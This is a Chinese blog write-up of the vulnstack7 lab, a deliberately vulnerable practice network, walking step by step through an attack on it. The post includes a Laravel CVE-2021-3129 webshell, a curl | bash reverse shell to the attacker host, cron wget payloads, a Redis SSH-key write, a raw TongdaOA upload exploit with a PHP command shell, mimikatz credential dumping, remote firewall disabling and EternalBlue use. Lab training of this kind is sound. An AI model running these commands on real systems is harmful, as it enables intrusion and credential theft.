红日安全ATT＆CK靶机实战系列之vulnstack7

2024-02-26 15:11:16

声明

好好学习，天天向上

环境配置

下载地址，直接进去用百度云，没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

边下载着，可以开始vmware的网络配置

这次和前面不太一样了

有三个网段，所以需要我们把网络这块拿捏的死死的

DMZ区
桥接模式（这个IP段不固定，我是31段的）
IP段为192.168.31.1/24

第二层网络环境
NAT模式
IP段为192.168.52.1/24

第三层网络环境
仅主机模块
IP段为192.168.93.1/24

有了这三个网段，就开始把解压出来的5个虚拟机分别打开，然后配置网络

注意！！！

这里可能会出现虚拟机版本与vmware不兼容的问题，错误信息为

然后请按照下面的教程，将虚拟机的配置和vmware的配置修改一直即可

https://wenku.baidu.com/view/377f360a5dbfc77da26925c52cc58bd63086930e.html

按照正常步骤，现在5台靶机都已成功开启，然后网络配置如下：

kali：
连接桥接即可

DMZ区域：
给Ubuntu (Web 1) 配置了两个网卡，一个桥接可以对外提供服务；一个连接在VMnet8上连通第二层网络。

第二层网络区域：
给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡，一个连接在VMnet8上连通第二层网络，一个连接在VMnet14上连通第三层网络。

第三次网络区域：
给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡，一个连接在VMnet14上连通第三层网络。

用户名密码

域用户账户和密码如下：
	Administrator：Whoami2021
	whoami：Whoami2021
	bunny：Bunny2021
	moretz：Moretz2021

Ubuntu 1：
	web：web2021

Ubuntu 2：
	ubuntu：ubuntu

通达OA账户（不重要）：
admin：admin657260

网络拓扑图

网络配完了，我电脑的内存了满了，这。。。接下来还有好多服务要开呢

DMZ区的 Ubuntu 需要启动redis和nginx服务（经过后面的心酸，这里的redis得用root权限启动）：
sudo su
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F

第二层网络的 Ubuntu需要启动docker容器（仍然需要root）：
sudo su
service docker start
docker start 8e172820ac78

第二层网络的 Windows 7 （PC 1）需要启动通达OA（这个得用administrator启动哦，并且要关闭防火墙）：
C:\MYOA\bin\AutoConfig.exe

我这里已经卡的不行了，把内存都往下压一压吧，改1G的1G，该2G的2G，不然已经内存打满了都

或者渗透wb的时候域控那边的先关了，看情况开开关关

环境配置完毕

战斗

Web渗透

信息收集

kali扫描存活

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24

扫描详细信息

nmap -T4 -A 192.168.31.132 -p 1-65535 -oN nmap.A

22的ssh

80的nginx

81的Laravel

6379的redis

Shell

访问81

http://192.168.31.132:81

是个php框架，只要是这种，基本都是利用框架本身的漏洞，上传webshell或者RCE反弹shell

用git大佬的POC脚本试一试看有无漏洞

https://github.com/zhzyker/CVE-2021-3129

laravel的CVE-2021-3129，php反序列化，依赖phpggc，当然上面的链接里面已经包含，所以我们基础环境不要忘了这块，先有了phpggc，然后再github上搜这个CVE编号，就可以直接复制大佬们的脚本了

这个POC用于检测是很适合，里面有十几个用于检测的请求，我就把第二个请求的命令改成了whoami

python3 exp.py http://192.168.31.132:81

另一位大佬的，可直接执行命令，命令自己修改

https://github.com/crisprss/Laravel_CVE-2021-3129_EXP

python3 cve-2021-3129.py "system('uname -a');"

那么我就直接写马了，echo后面的被base64编码了，实际上就是密码是whoami的一句话

python3 cve-2021-3129.py  "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

访问一下我们的马，只要没显示4040或者not find就对了

http://192.168.31.132:81/shell.php

蚁剑直接连了，怎么啥命令都没，不用说了，就是在docker里面咯

权限维持/提升

目前的权限是www，依稀记得上次搞docker逃逸还用的是容器中的root，利用容器操纵实体机修改ssh，进行免密登录

所以我们首先得在容器中进行提权

这里也是用比较常见的提权方式，查找有高权的文件，也就是说这个文件拥有root权限，那么通过这个文件调用的任何命令就都有root权限，那么再修改环境变量，让这个文件调用的命令指向我们写的恶意命令就可以进行权限提升，不太好理解？

举个栗子，我们平时配置配置java环境的时候，需要下载jdk，比如jdk在/app/jdk，配置/etc/profile，将java环境变量执行/app/jdk，那么我们输入java命令，就会去找环境变量是/app/jdk，那么就找到了/app/jdk/bin下的java命令，来进行执行，那我们写一个恶意的/tmp/jdk/bin/java，里面是一个反弹shell的命令，然后再把/tmp/jdk导入到环境变量里面，那么如果我执行了ava，就会执行反弹shell

话不多说，直接来，先找找有没有高权限的文件，发现了一个shell

find / -perm -u=s -type f 2>/dev/null

也就是说这个shell是以高权限进行执行的，那看一下他的执行结果，看来和ps是差不多的，那么，shell里面大概就是ps

./shell

这里的ps就可以类比上面的java，我们写一个恶意的ps，里面进入shell命令行，修改环境变量，让shell找ps的时候找到我们的恶意ps，不就可以反弹shell了

在蚁剑的商店中心安装一下脚本执行插件，结果一直在转，算了你自己转吧，哥用其他方法了

这次用curl反弹，其实道理都差不多，知道原理就都懂

kali监听6666端口

nc -lvvp 6666

kali上写个shell.sh，再开个Web服务

bash -i >& /dev/tcp/192.168.31.96/6666 0>&1

python -m SimpleHTTPServer 80

在蚁剑命令行，执行，看能不能看到这个脚本

curl 192.168.31.96/shell.sh

可以看到的话，直接执行

curl 192.168.31.96/shell.sh | bash

执行后成功反弹shell，那么shell就从蚁剑转到了我们kali

开始提权，写恶意ps命令，ps内容/bin/bash就是进入命令行，然后修改环境变量，这样shell.sh就找到了tmp下的ps命令，然后以shell的root执行了ps，也就是以root进入了命令行

这个方式vulnhub也经常有吧，叫做环境变量劫持

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中，并且先加载执行/tmp里的程序
cd /home/jobs
./shell

msf上线

现在需要把这个shell持久化一下，通过msf，生成一个马，还放在刚刚python开启web那个文件里面

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6667 -f elf > shell.elf

然后msf监听

use exploit/multi/handler
set lhost 192.168.31.96
set lport 6667
set payload linux/x86/meterpreter/reverse_tcp
run

这边通过wget把马下载下来，咦，没有wget？那安装一下吧

安装完后，下载执行这个马

wget http://192.168.31.96/shell.elf
chmod 777 shell.elf
./shell.elf

msf收到meterpreter

docker逃逸（第一次-耻辱了）

接着想办法逃逸出来，还是老办法吧

进入meterpreter的shell，或者刚刚的反弹的shell，创建一个目录，用于挂载

mkdir /weizi

将/dev/sda1挂载到/weizi目录里

ls /dev
mount /dev/sda1 /weizi
ls /weizi

看一下隐藏文件

ls /weizi/home
ls -alh /weizi/home/ubuntu

kali本地生成ssh秘钥

ssh-keygen -f weizi
chmod 600 weizi

拿到weizi.pub中内容

cat weizi.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaMqbOChZtkEeB8N3ickNQzsT/A+l2sz8nhw7edbLai6BC0uQokE2VSAHL8N0XfU8UaHrPoyq1ywaZ2u82IjHOMeK5bvTxrro52pPYSaVncBCxWjPIWaeH6ub0V/eGgOHIEvnu8BhOMuJBbTWQ/tYFj94j344wI5goR/351H7COn4PC6ilK6p9pC/ECyfEMt4CvuGCgH3GPEXamC53DlruuV7W2W1bny31Jboy4GbzcBt/H1innWVLEoSoTaQ8R227Imre4eRkdXURgfIakzjPmt51/n31oT4CUQsJ6DPMZO1pbQ171xeSH0nxboGbQNZejrOCvWX/761TJgJ0ym2kp4tM5AVc52B1lMrT5DZzoJUVUkXadS0r5sKUAzZNp4SZ7mLpuJeR53YuE+RU0UsPecV0zK08j/SDtsnjnLl0joTMzZIuWgq7KoAJJc5nD1SnZ6e1XRcwpgt6nOKcUgEKIyEe6ThjisbUGYHxc/lAIlchaecelCXFEZlIugq11p0= root@kali

然后创建一个key.sh，要通过docker修改宿主机的ssh了

vim key.sh

内容如下

cp -avx /weizi/home/ubuntu/.ssh/id_rsa.pub /weizi/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaMqbOChZtkEeB8N3ickNQzsT/A+l2sz8nhw7edbLai6BC0uQokE2VSAHL8N0XfU8UaHrPoyq1ywaZ2u82IjHOMeK5bvTxrro52pPYSaVncBCxWjPIWaeH6ub0V/eGgOHIEvnu8BhOMuJBbTWQ/tYFj94j344wI5goR/351H7COn4PC6ilK6p9pC/ECyfEMt4CvuGCgH3GPEXamC53DlruuV7W2W1bny31Jboy4GbzcBt/H1innWVLEoSoTaQ8R227Imre4eRkdXURgfIakzjPmt51/n31oT4CUQsJ6DPMZO1pbQ171xeSH0nxboGbQNZejrOCvWX/761TJgJ0ym2kp4tM5AVc52B1lMrT5DZzoJUVUkXadS0r5sKUAzZNp4SZ7mLpuJeR53YuE+RU0UsPecV0zK08j/SDtsnjnLl0joTMzZIuWgq7KoAJJc5nD1SnZ6e1XRcwpgt6nOKcUgEKIyEe6ThjisbUGYHxc/lAIlchaecelCXFEZlIugq11p0= root@kali' > /weizi/home/ubuntu/.ssh/authorized_keys
cat /weizi/home/ubuntu/.ssh/authorized_keys

通过meterpreter上传或者通过开启web，wget下载都行随你开心，但就是要在docker上执行这个sh了

cd /tmp
wget http://192.168.31.96/key.sh
chmod 777 key.sh
./key.sh
ls -alh /weizi/home/ubuntu/.ssh
cat /weizi/home/ubuntu/.ssh/authorized_keys

ssh -i weizi ubuntu@192.168.31.132

秀了半天，结果。。。

还是我太菜，上次怎么成功的，这次不行了吗？还是我哪里弄错了，哎（这里-i后面跟的文件本来是weizi，我都以为是我文件名有问题，又生成了一一对hack公私钥对）

这个失败了，就看看大佬的，反正现在通过挂载，肯定是能操纵宿主机的目录的，那就往宿主机定时任务写个木马

msf生成木马

use exploit/multi/script/web_delivery
set target 7    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.31.96
set lport 4445
exploit

把这个wget马，写入到定时任务

echo '* * * * * wget -qO GYZFuKMl --no-check-certificate http://192.168.31.96:8080/rzAXhrphsPzRb; chmod +x GYZFuKMl; ./GYZFuKMl& disown' >> /weizi/var/spool/cron/crontabs/root

echo '* * * * * wget -qO BOz4CDge --no-check-certificate http://192.168.31.96:8080/9Quic3HA; chmod +x BOz4CDge; ./BOz4CDge& disown' >> /weizi/var/spool/cron/crontabs/root

等了半天也没反应？？？没辙了，两种方法都没用啊，奇了怪了，彻底懵蛋子了

感觉没啥招了，这时候想到了6379的redis，靠你了，redis未授权

redis未授权

啥也别说了，安装redis-cli工具吧

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make //全局生效 
cp src/redis-cli /usr/bin/

装了10分钟

未授权访问一下，这简直就是失望中看到绝望，绝望中看到希望啊

redis-cli -h 192.168.31.132

既然有了redis，直接用redis写ssh免密登录，试一下吧

kali生成ssh公钥

ssh-keygen -t redis

将公钥导入key.txt文件(前后用\n换行，避免和Redis里其他缓存数据混合)，再把key.txt文件内容写入目标主机的redis缓冲里：

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.31.132 -x set xxx

redis开始表演，进入redis命令行将公钥写入（这里redis要是不用root启，就不行）

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上

直接ssh连接吧，绕了一大圈，原来是这样拿到的第一个shell。。。。。。

ssh 192.168.31.132

看了一下网段，一个31段，那就是外网段了，还有一个52段，应该就是内网段了

docker逃逸失败分析

我已经拿到了shell，这个时候，我之前的docker逃逸是怎么失败的，我也确确实实都把ssh公钥写入改变了啊，一看傻眼了

这里/home下怎么是个web，明明是ubuntu的啊

难道我眼花了，再回头看一下

这俩不是一台服务器，666，又是个代理，看到这，我大概是明白了

我来解释一下为啥我的docker逃逸失败了

我首先攻击的是192.168.31.132（这台服务器记做A），nmap查看开了22ssh，80nginx，81的Laravel，6379的redis

然后我们往81端口的Laravel上传马，拿到了一个shell，这个shell是docker的（这个记做B1）

然后我当时就一直想，是不是B1的宿主机就是A，然后各种想从B1逃逸到A上，实际上，B1的宿主机是B，B应该还是另外一台内网，我ssh公钥就算改了B的，我连的IP都是A，连毛啊？可不得失败吗，现在看来，这个B很有可能是52段的服务器

也就是说A上的nginx代理到了B中dockerB1，我们拿到了B1！

分析完后，我们先把这个上线msf

msf再次上线

msf先把这个该死的31.132上线

 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=3333 -f elf > web.elf

use exploit/multi/handler
set lhost 192.168.31.96
set lport 3333
set payload linux/x86/meterpreter/reverse_tcp
run

wget http://192.168.31.96/web.elf
chmod 777 web.elf
nohup ./web.elf &

现在完全控制web服务器192.168.52.10

msf添加路由，扫描存活，我就看看ubuntu你能跑哪去

run autoroute -s 192.168.52.0/24
run autoroute -p

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.0-255
set threads 5
run

我时运气不好还是咋的了，这都跟我作对，就扫到了一个DNS，逗我呢

算了直接在web上安装一个nmap，不跟你多BB了

apt-get install arp-scan
apt-get install nmap

nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.52.1/24

扫描出了10，20，30

10是自己，那就是20和30

docker再次逃逸（柳暗花明）

我就跟你刚上了，怎么了？

我现在已经很确定的是，在之前第一次进行docker逃逸的耻辱失败时候，我确确实实把宿主机的ssh修改了，那么现在我拿到了这个192.168.31.132，是不是可以把kali之前生成的hack秘钥文件拿过来，直接连接那个宿主机？

用wget把之前生成的秘钥文件下载下来，连接这两个IP试试

ssh -i hack ubuntu@192.168.52.20
ssh -i hack ubuntu@192.168.52.30

直接拿下20，最终还是没有错付啊

还是被docker逃逸出来了，但是，又看到了一个93网段

走到这里梳理一下

拿到了web，192.168.31.132；192.168.52.10

拿到了ubuntu，192.168.52.20；192.168.93.10

又发现了52.30这个IP，以及93的网段

不用说咯，接下来刚这个52.30

msf又双叒叕上线

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=4444 -f elf > ubuntu.elf

use exploit/multi/handler
set lhost 192.168.31.96
set lport 4444
set payload linux/x86/meterpreter/reverse_tcp
run

额？这台ubuntu可以ping通kali？

wget http://192.168.31.96/ubuntu.elf
chmod 777 ubuntu.elf
nohup ./ubuntu.elf &

内网渗透

信息收集

刚刚都是直接在目标机上装的nmap，都没有代理，在web上传ew，web上挂个代理

upload /app/tools/ew-master/ew_for_linux64 /tmp

kali执行

nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

web执行

nohup ./ew_for_linux64 -s rssocks -d 192.168.31.96 -e 1234 &

proxychains nmap -Pn -sT 192.168.52.1/24 > nmap_res.txt

这次用代理扫描，发现30存活，扫扫端口

proxychains4 nmap -Pn -sT -sV 192.168.52.30 -F

端口也扫不出来，然后kali的firefox代理调到了1080端口，访问，神马也没有，奇怪

用kali访问了半天，也奇怪，根本访问不到192.168.52.30的8080端口，用web和ubuntu两台机器的火狐访问也不同，然后这两台机器ping192.168.52.30这个IP也ping不通，那我大概知道了，OA那边开防火墙了

这个环境配置的时候得说明一下，这也就是我前面说的防火墙要关闭，心酸在这里，排查了好久呢

这次kali扫描一下端口，这还是台windows

proxychains4 nmap -Pn -sT -sV 192.168.52.30 -F

因为8080的OA特别耀眼动人，先来看看8080，将端口代理到本地的1080，这样就转到52网段了

192.168.52.30:8080

是很喜庆的OA，近几年，各种OA或者运维终端管理系统未授权，直接RCE层出不穷，所以这个OA，就是我们的目标

掏出我们的红队常用漏洞手册

https://mp.weixin.qq.com/s/_EwkcnZQ-dyvFsDHa8VEKA

试一试名列前茅的几个

根据小贴士，看看通达OA的版本是11.3

https://github.com/OA-HUNTER/TongDa-OA

掏出kali的BP，咦提示jdk版本，没关系，点OK

最新版已经更新到了2021.4.2版本了，我们就先不凑热闹了，用2020.12就可以够可以了额

原来以为启动不起来，谁知道还是启动起来了，感觉对windows的攻击机依赖度越来越低了

字体调大点

但是奇怪，浏览器开启HTTP代理后OA就访问不通了，BP能抓到包，但是根本没反应

你以为这就能难倒我吗，别忘了我已经拿下了web和ubuntu

那么我可以直接在web或ubuntu上利用python脚本进行攻击。。。

为什么要这么对我web没装python，ubuntu，github上的脚本每一个成功的，思考了好久，burp代理后，为什么不成功，会不会是http代理或者socks代理没有配置对，经过各种心酸（1h的搜索，也是灵机一动才想到的），想到了burp能不能配置socks代理，网上一查，果然能配，都怪自己学识浅薄，接下来把我的整个配置图贴出来吧，由于我kali的8080占用，所以HTTP和Burp的代理都用8081端口，先康康浏览器的代理配置

再康康Burp的配置，BP分两部分，一部分的就是大家都懂的

另一个是，相当于也要BP去连1080，代理到52段

都配置成后

那就开始表演了

直接抓包，修改，未授权上传图片马

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30：8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

文件包含我们上传的木马

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 87
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2104/1352016168.jpg"}&cmd=whoami

接着就是上线我们的msf

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.96
set lport 5555
run

run后会生成psh代码

把这段代码，当成命令，在BP中执行

搞了好久才成功，难受啊

按照惯例，信息收集一波

ipconfig /all   # 查看本机ip，所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组（通常会有域用户）
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
net group 组名 /domain    # 查看域中某工作组
net time /domain           // 主域服务器会同时作为时间服务器
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器（可能有多台）
net group "Enterprise Admins" /domain    // 查看域管理员组

发现93网段

域为whoamianony.org

域控为DC.whoamianony.org，IP为192.168.93.30

域管理员Administrator

横向渗透

迁移到64位进程上，然后抓取密码

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

成功抓取到域用户bunny和域管理员administrator的凭证：

bunny：Bunny2021
administrator：Whoami2021

接下来该刚第三层也就是93段的服务器了

msf添加路由

route add 192.168.93.0 255.255.255.0 4

还记得之前我们把52段，通过web服务器代理到了kali上

现在93段也得代理，所以这次是二次代理打入内网

kali首先执行

nohup ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 &

把ew的windows版upload上传到刚刚那台windows上，然后执行代理

start /min ew_for_Win.exe -s ssocksd -l 999

然后web那台服务器，要进行中间桥梁

./ew_for_linux64 -s lcx_slave -d 192.168.31.96 -e 1235 -f 192.168.52.30 -g 999

再把proxychains4文件改成1090

扫描93段，发现30和40

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run

开了445，貌似3389也开了哦

proxychains4 nmap -Pn -sT -sV 192.168.93.40

对40进行惨无人道的永恒之蓝攻击

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 8888
exploit

执行了半天都是失败，还给打蓝屏了，蓝屏的钙，好喝的钙

算了睡觉了，明天继续弄它

已经第三天了，起来把每台服务器都msf上线，挂上代理，开始继续，再试试永恒之蓝

嗯，非常好，这次没蓝屏，不过依旧没戏

只想感叹一句，永恒之蓝都是虚拟的，我把握不住啊

算了，打不过你，我先打你老爸

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

执行失败了，应该是防火墙的问题

我连接进第二层PC1的shell，用用户名密码，关掉30域控的防火墙

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall

看着都是Failed，但是实际上我登录DC去看了一下，防火墙确实已经关了，这个方法牛逼啊

然后再次搞，拿下域控DC的meterpreter

session3和4，重复啦，手抖BP多点了一下

还有最后一台93.40，想试一下远程桌面，反正已经有域用户，直接远程桌面30或者40得了

结果30和40的安全意识都很高，好像都开安全认证服务了

还有一线希望，那就是ms14-068

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

ms14-068.exe -u administrator@WHOAMIANONY.com -s S-1-5-21-1315137663-3706837544-1429009142-500 -d 192.168.31.40 -p Whoami2021
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

不多说了，失败告终

net use \\192.168.93.40\ipc$ "Whoami2021" /user:"Administrator"

我们是通过建立连接的方式关闭域控的防火墙，那能否通过域控与40建立连接呢？

又失败了，呜呜呜

cs渗透

我：CS大哥，您帮帮我吧。。。

CS大哥：那你也得先把其中一台域内服务器上线啊

明白了，上线域控

通过派生shell，或者直接msf的meterpreter上传win exec马，都上线不了

我：CS大哥，上不上去啊。。

CS大哥：终点即起点

我想了想，直接上线域控，隔着两层代理，是不是有可能是因为代理的原因，或者其他我这种小白也不太懂的，想到这里，我立马着手上线最初的那台PC1

一击命中

CS也看到了

接下来就是目标发现+密码二连击

net view

hashdump
logonpasswords

经过这两步，我笑出来了

接着就是vulnstack1中基础的，利用凭证拿下该死的93.40

同样的方式，域控也给我上来

CS：你大爷还是你大爷

CS对于域控这块拿捏，我是真的服

码农公寓

声明

环境配置

战斗

Web渗透

信息收集

Shell

权限维持/提升

msf上线

docker逃逸（第一次-耻辱了）

redis未授权

docker逃逸失败分析

msf再次上线

docker再次逃逸（柳暗花明）

msf又双叒叕上线

内网渗透

信息收集

横向渗透

cs渗透

相关文章